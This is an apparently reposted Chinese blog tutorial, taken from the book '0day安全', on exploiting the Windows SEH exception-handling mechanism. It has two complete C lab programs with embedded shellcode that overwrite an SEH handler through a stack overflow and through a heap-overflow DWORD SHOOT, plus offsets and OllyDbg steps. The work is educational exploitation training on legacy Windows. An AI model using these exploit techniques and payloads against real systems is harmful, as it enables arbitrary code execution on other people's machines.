《0day安全》——狙击Windows异常处理机制(SEH)

2024-02-20 01:38

本文主要是介绍《0day安全》——狙击Windows异常处理机制(SEH),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

SEH的异常处理模型主要由__try __except语句来完成,与标准的try catch相似。


在栈溢出中利用SEH

#include "stdafx.h"
#include "stdio.h"
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x73\x75\x6E\x72\x68\x73\x75\x6E\x72\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x98\xFE\x12\x00";
void MyExceptionhandler(void)
{printf("got an execption, press Enter to kill process\n");getchar();ExitProcess(1);
}void test(char * input)
{char buf[200];int zero = 0;//__asm int 3__try{strcpy(buf, input);zero = 5 / zero;}__except(MyExceptionhandler()){}
}
int main()
{test(shellcode);return 0;
}

对代码简要解释:
 1.函数 test 中存在典型的栈溢出漏洞。
 2.__try{}会在 test 的函数栈帧中安装一个 SEH 结构。
 3.__try 中的除零操作会产生一个异常。
 4.当 strcpy 操作没有产生溢出时,除零操作的异常将最终被 MyExceptionhandler 函数处理。
 5.当 strcpy 操作产生溢出,并精确地将栈帧中的 SEH 异常处理句柄修改为 shellcode 的入口地址时,操作系统将会错误地使用shellcode 去处理除零异常,也就是说,代码植入成功。
 6.此外,异常处理机制与堆分配机制类似,会检测进程是否处于调试状态。如果直接使用调试器加载程序,异常处理会进入调试状态下的处理流程。因此,我们这里同样采用直接在代码中加入断点_asm int 3,让进程自动中断后再用调试器 attach 的方法进行调试。

这个实验的关键在于确定栈帧中 S.E.H 回调句柄的偏移,然后布置缓冲区,精确地淹没这个位置,将该句柄修改为 shellcode 的起始位置。

 环境备注
操作系统Windows2000Windows XP SP2和Windows 2003加入了S.E.H的安全检验
编译器vc++6.0 
编译选项默认
buildrelease版本debug版本会失败

调试看看,停在test函数的int3处,先看看前一些的代码,首先会在test函数的栈帧中安装一个SEH结构。其实就是先将我们自定义的异常处理的函数的首地址压入栈,将最上面的也压入栈,更新最上面的SEH的值。
在这里插入图片描述
观察strcpy和除以0实现
在这里插入图片描述
在字符串复制操作完毕后,数组中的 0x90 能够帮我们在调试器中轻易地确定 shellcode 的起始位置 0x0012FE98
在这里插入图片描述
OllyDbg 当前线程一共安装了 3 个 SEH,离栈顶最近的位于 0x0012FF68,如果在当前函数内发生异常,首先使用的将是这个 SEH。
在这里插入图片描述
剩下的工作就是组织缓冲区,把 0x0012FF6C 处的回调句柄修改成 shellcode 的起始地址0x0012FE98。
缓冲区起始地址 0x0012FE98 与异常句柄 0x0012FF6C 之间共有 212 个字节的间隙,也就是说,超出缓冲区 12 个字节后的部分将覆盖 SEH。
仍然使用弹出“ sunrsunr”消息框的 shellcode 进行测试,将不足 212 字节的部分用 0x90 字节补齐;213~216 字节使用0x0012FE98 填充,用于更改异常回调函数的句柄;最后删去代码中的中断指令_asm int 3。

在这里插入图片描述
成功


在堆溢出中利用SEH

#include "stdafx.h"
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x73\x75\x6E\x72\x68\x73\x75\x6E\x72\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00"// 0x00360688 is the address of shellcode in first heap block, you have to make sure this address via debug 
"\x30\xFF\x12\x00";//target of DWORD SHOOT
void MyExceptionhandler(void)
{
ExitProcess(1);
}
int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
memcpy(h1,shellcode,0x200);// over flow here, noticed 0x200 means
__asm int 3 // uesd to break the process
__try
{
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
}
__except(MyExceptionhandler()){}
return 0;
}

对代码简要解释:
 1.溢出第一个堆块的数据将写入后面的空闲堆块,在第二次堆分配时发生 DWORDSHOOT。
 2.将 S.E.H 的异常回调函数地址作为 DWORD SHOOT 的目标,将其替换为 shellcode 的入口地址,异常发生后,操作系统将错误地把 shellcode 当作异常处理函数而执行。

 环境备注
操作系统Windows2000Windows XP SP2和Windows 2003加入了S.E.H的安全检验
编译器vc++6.0 
编译选项默认
buildrelease版本debug版本会失败

除了 DWORD SHOOT 的 target 不一样之外,缓冲区内其余的数据都和前面讲代码植入一样。首先,我们把最后 4 个字节的target 设置为 0x90909090,这显然是一个无效的内存地址,因此会触发异常。我们所需要做的就是在程序运行时,找到 SEH 的位置,然后把 DWORD SHOOT 的 target 指向 S.E.H 的回调句柄。
首先应当确认 OllyDbg 能够捕捉所有的异常,方法是查看菜单“options”下的“debugging option”中“ Exceptions”选项中没有忽略任何类型的异常。
在这里插入图片描述
然后按照实验要求将代码编译运行,程序会自动中断,使用 OllyDbg attach 到进程上,直接按 F9 键继续执行。
DWORD SHO OT 发生后,程序产生异常。 OllyDbg 捕捉到异常后会自动中断。
在这里插入图片描述
这时查看栈中的 SEH 情况,发现离第一个 SEH 位于 0x0012FF2C 的地方,那么异常回调函数的句柄应该位于这个地址后 4 个字节的位置 0x0012FF30。现在,将 DWORD SHOOT 的目标地址由 0x90909090 改为0x0012FF30,去掉程序中的中断指令,重新编译运行。在这里插入图片描述

消息框成功的弹出,证明 shellcode 得到了执行。在这里插入图片描述


异常处理流程的总结

 1.CPU 执行时发生并捕获异常,内核接过进程的控制权,开始内核态的异常处理。
 2.内核异常处理结束,将控制权还给 ring3。
 3.ring3 中第一个处理异常的函数是 ntdll.dll 中的 KiUserExceptionDispatcher()函数。
 4.KiUserExceptionDispatcher()首先检查程序是否处于调试状态。如果程序正在被调试,会将异常交给调试器进行处理。
 5.在非调试状态下, KiUserExceptionDispatcher()调用 RtlDispatchException()函数对线程的 S.E.H 链表进行遍历,如果找到能够处理异常的回调函数,将再次遍历先前调用过的 S.E.H 句柄,即 unwind 操作,以保证异常处理机制自身的完整性。
 6.如果栈中所有的 S.E.H 都失败了,且用户曾经使用过 SetUnhandledExceptionFilter()函数设定进程异常处理,则这个异常处理将被调用。
 7.如果用户自定义的进程异常处理失败,或者用户根本没有定义进程异常处理,那么系统默认的异常处理 UnhandledExceptionFilter()将被调用。 U.E.F 会根据注册表里的相关信息决定是默默地关闭程序,还是弹出错误对话框。
 以上就是 Windows 异常处理的基本流程。需要额外注意的是,这个流程是基于 Windows2000 平 台 的 , Windows XP 及 其 以 后 的 操 作 系 统 的 异 常 处 理 流 程 大 致 相 同 , 只 是KiUserExceptionDispatcher()在遍历栈帧中的 S.E.H 之前,会去先尝试一种新加入的异常处理类型 V.E.H( Vectored Exception Handling)。

这篇关于《0day安全》——狙击Windows异常处理机制(SEH)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/726652

相关文章

Java 中的 @SneakyThrows 注解使用方法(简化异常处理的利与弊)

《Java中的@SneakyThrows注解使用方法(简化异常处理的利与弊)》为了简化异常处理,Lombok提供了一个强大的注解@SneakyThrows,本文将详细介绍@SneakyThro... 目录1. @SneakyThrows 简介 1.1 什么是 Lombok?2. @SneakyThrows

在 Spring Boot 中实现异常处理最佳实践

《在SpringBoot中实现异常处理最佳实践》本文介绍如何在SpringBoot中实现异常处理,涵盖核心概念、实现方法、与先前查询的集成、性能分析、常见问题和最佳实践,感兴趣的朋友一起看看吧... 目录一、Spring Boot 异常处理的背景与核心概念1.1 为什么需要异常处理?1.2 Spring B

python处理带有时区的日期和时间数据

《python处理带有时区的日期和时间数据》这篇文章主要为大家详细介绍了如何在Python中使用pytz库处理时区信息,包括获取当前UTC时间,转换为特定时区等,有需要的小伙伴可以参考一下... 目录时区基本信息python datetime使用timezonepandas处理时区数据知识延展时区基本信息

关于MongoDB图片URL存储异常问题以及解决

《关于MongoDB图片URL存储异常问题以及解决》:本文主要介绍关于MongoDB图片URL存储异常问题以及解决方案,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录MongoDB图片URL存储异常问题项目场景问题描述原因分析解决方案预防措施js总结MongoDB图

Python Transformers库(NLP处理库)案例代码讲解

《PythonTransformers库(NLP处理库)案例代码讲解》本文介绍transformers库的全面讲解,包含基础知识、高级用法、案例代码及学习路径,内容经过组织,适合不同阶段的学习者,对... 目录一、基础知识1. Transformers 库简介2. 安装与环境配置3. 快速上手示例二、核心模

Windows 上如果忘记了 MySQL 密码 重置密码的两种方法

《Windows上如果忘记了MySQL密码重置密码的两种方法》:本文主要介绍Windows上如果忘记了MySQL密码重置密码的两种方法,本文通过两种方法结合实例代码给大家介绍的非常详细,感... 目录方法 1:以跳过权限验证模式启动 mysql 并重置密码方法 2:使用 my.ini 文件的临时配置在 Wi

一文详解Java异常处理你都了解哪些知识

《一文详解Java异常处理你都了解哪些知识》:本文主要介绍Java异常处理的相关资料,包括异常的分类、捕获和处理异常的语法、常见的异常类型以及自定义异常的实现,文中通过代码介绍的非常详细,需要的朋... 目录前言一、什么是异常二、异常的分类2.1 受检异常2.2 非受检异常三、异常处理的语法3.1 try-

Python使用getopt处理命令行参数示例解析(最佳实践)

《Python使用getopt处理命令行参数示例解析(最佳实践)》getopt模块是Python标准库中一个简单但强大的命令行参数处理工具,它特别适合那些需要快速实现基本命令行参数解析的场景,或者需要... 目录为什么需要处理命令行参数?getopt模块基础实际应用示例与其他参数处理方式的比较常见问http

JAVA保证HashMap线程安全的几种方式

《JAVA保证HashMap线程安全的几种方式》HashMap是线程不安全的,这意味着如果多个线程并发地访问和修改同一个HashMap实例,可能会导致数据不一致和其他线程安全问题,本文主要介绍了JAV... 目录1. 使用 Collections.synchronizedMap2. 使用 Concurren

Java Response返回值的最佳处理方案

《JavaResponse返回值的最佳处理方案》在开发Web应用程序时,我们经常需要通过HTTP请求从服务器获取响应数据,这些数据可以是JSON、XML、甚至是文件,本篇文章将详细解析Java中处理... 目录摘要概述核心问题:关键技术点:源码解析示例 1:使用HttpURLConnection获取Resp